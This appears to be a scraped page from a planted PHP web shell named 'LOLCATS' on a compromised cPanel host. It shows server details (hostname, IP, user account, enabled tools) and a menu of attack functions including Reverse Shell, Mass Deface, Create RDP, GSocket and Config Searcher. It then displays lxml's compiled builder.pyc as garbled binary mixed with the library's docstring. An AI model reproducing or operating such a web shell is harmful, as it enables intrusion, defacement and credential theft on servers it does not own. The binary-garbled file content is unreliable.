LOLCATS
:
/
usr
/
lib64
/
python2.7
/
site-packages
/
lxml
/ [
drwxr-xr-x
]
Information Server
System: Linux sonos4.linuxplace.net 4.18.0-305.19.1.el8_4.x86_64 #1 SMP Wed Sep 15 11:28:53 EDT 2021 x86_64
Software: Apache/2.4.67 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4
PHP Version: 8.3.31 PHP Os: Linux
Server IP: 46.248.185.66
Your IP: 216.73.216.102
User: truechri [1004] | Group: [truechri] [1006]
Safe Mode:
OFF
MYSQL:
OFF
| PERL:
ON
| PYTHON:
ON
| WGET:
ON
| CURL:
ON
| GCC:
ON
| PKEXEC:
ON
Disable Function:
exec,passthru,shell_exec,system
Command
ON
Config Searcher
Create RDP
Find Modified Time
Find File
Get Tools
GSocket
Jumping
Lock File
Mass Deface
Mass Delete
Mass Chmod
Mass Change Date
Port Scan
Reverse Shell
Upload
Zone-H
: builder.pyc
� �'�Yc @ s� d Z d d l j Z d d l m Z y e Wn e k rF e Z n Xy e Wn e k rh e Z n Xd e f d � � YZ e � Z d S( s9 The ``E`` Element factory for generating XML documents. i����N( t partialt ElementMakerc B s5 e Z d Z d d d d d � Z d � Z d � Z RS( sc Element generator factory. Unlike the ordinary Element factory, the E factory allows you to pass in more than just a tag and some optional attributes; you can also pass in text and other elements. The text is added as either text or tail attributes, and elements are inserted at the right spot. Some small examples:: >>> from lxml import etree as ET >>> from lxml.builder import E >>> ET.tostring(E("tag")) '<tag/>' >>> ET.tostring(E("tag", "text")) '<tag>text</tag>' >>> ET.tostring(E("tag", "text", key="value")) '<tag key="value">text</tag>' >>> ET.tostring(E("tag", E("subtag", "text"), "tail")) '<tag><subtag>text</subtag>tail</tag>' For simple tags, the factory also allows you to write ``E.tag(...)`` instead of ``E('tag', ...)``:: >>> ET.tostring(E.tag()) '<tag/>' >>> ET.tostring(E.tag("text")) '<tag>text</tag>' >>> ET.tostring(E.tag(E.subtag("text"), "tail")) '<tag><subtag>text</subtag>tail</tag>' Here's a somewhat larger example; this shows how to generate HTML documents, using a mix of prepared factory functions for inline elements, nested ``E.tag`` calls, and embedded XHTML fragments:: # some common inline elements A = E.a I = E.i B = E.b def CLASS(v): # helper function, 'class' is a reserved word return {'class': v} page = ( E.html( E.head( E.title("This is a sample document") ), E.body( E.h1("Hello!", CLASS("title")), E.p("This is a paragraph with ", B("bold"), " text in it!"), E.p("This is another paragraph, with a ", A("link", href="http://www.python.org"), "."), E.p("Here are some reserved characters: <spam&egg>."), ET.XML("<p>And finally, here is an embedded XHTML fragment.</p>"), ) ) ) print ET.tostring(page) Here's a prettyprinted version of the output from the above script:: <html> <head> <title>This is a sample document</title> </head> <body> <h1 class="title">Hello!</h1> <p>This is a paragraph with <b>bold</b> text in it!</p> <p>This is another paragraph, with <a href="http://www.python.org">link</a>.</p> <p>Here are some reserved characters: <spam&egg>.</p> <p>And finally, here is an embedded XHTML fragment.</p> </body> </html> For namespace support, you can pass a namespace map (``nsmap``) and/or a specific target ``namespace`` to the ElementMaker class:: >>> E = ElementMaker(namespace="http://my.ns/") >>> print(ET.tostring( E.test )) <test xmlns="http://my.ns/"/> >>> E = ElementMaker(namespace="http://my.ns/", nsmap={'p':'http://my.ns/'}) >>> print(ET.tostring( E.test )) <p:test xmlns:p="http://my.ns/"/> c s3 | d k r d | d | _ n d | _ | rA t | � | _ n d | _ | d k rt t | � sh t � | | _ n t j | _ � r� t � � � n i � d � } d � } t � k r� | � t <n t � k r� | � t <n t j � k r� | � t j <n � f d � } t � k r&| � t <n � | _ d S( Nt {t }c S sP y"